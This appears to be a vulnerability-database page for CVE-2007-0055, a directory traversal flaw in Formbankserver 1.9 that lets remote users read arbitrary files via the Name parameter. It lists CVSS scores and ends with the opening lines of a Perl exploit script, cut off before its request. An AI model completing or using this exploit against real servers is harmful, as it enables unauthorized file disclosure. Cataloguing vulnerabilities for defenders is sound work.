5
CVSSv2

CVE-2007-0055

Published: 04/01/2007 Updated: 19/10/2017
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 505
Vector: AV:N/AC:L/Au:N/C:P/I:N/A:N

Vulnerability Summary

Directory traversal vulnerability in formbankcgi.exe/AbfrageForm in Formbankserver 1.9 allows remote malicious users to read arbitrary files via directory traversal sequences in the Name parameter. NOTE: The provenance of this information is unknown; the details are obtained solely from third party information.

Vulnerable Product Search on Vulmon Subscribe to Product

fersch formbankserver 1.9

Exploits

#!perl #found by Bl0od3r #visit dc3dlam #download:wwwdownload-tippde/cgi-bin/jumpcgi?ID=8796 #developer:wwwferschde/formbankserver/ use LWP::Simple; sub usage { die("filepl hostcom //filetxt"); } $host= $ARGV[0]; $file= $ARGV[1]; if (!$host) { die("No Host"); } ; if (!$file) { die("No File"); } getprint " ...